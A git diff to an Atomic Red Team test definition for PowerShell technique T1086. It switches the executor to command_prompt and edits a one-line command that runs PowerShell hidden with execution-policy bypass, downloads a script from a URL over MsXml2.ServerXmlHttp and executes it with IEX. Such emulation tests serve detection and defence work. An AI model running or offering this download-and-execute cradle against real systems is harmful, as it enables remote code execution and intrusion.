diff --git a/atomics/T1086/T1086.md b/atomics/T1086/T1086.md index 2f166327..48851a65 100644 --- a/atomics/T1086/T1086.md +++ b/atomics/T1086/T1086.md @@ -165,9 +165,9 @@ Not proxy aware removing cache although does not appear to write to those locati |------|-------------|------|---------------| | url | url of payload to execute | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1| -#### Run it with `powershell`! +#### Run it with `command_prompt`! ``` -IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText" +powershell.exe IEX -exec bypass -windowstyle hidden -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText" ```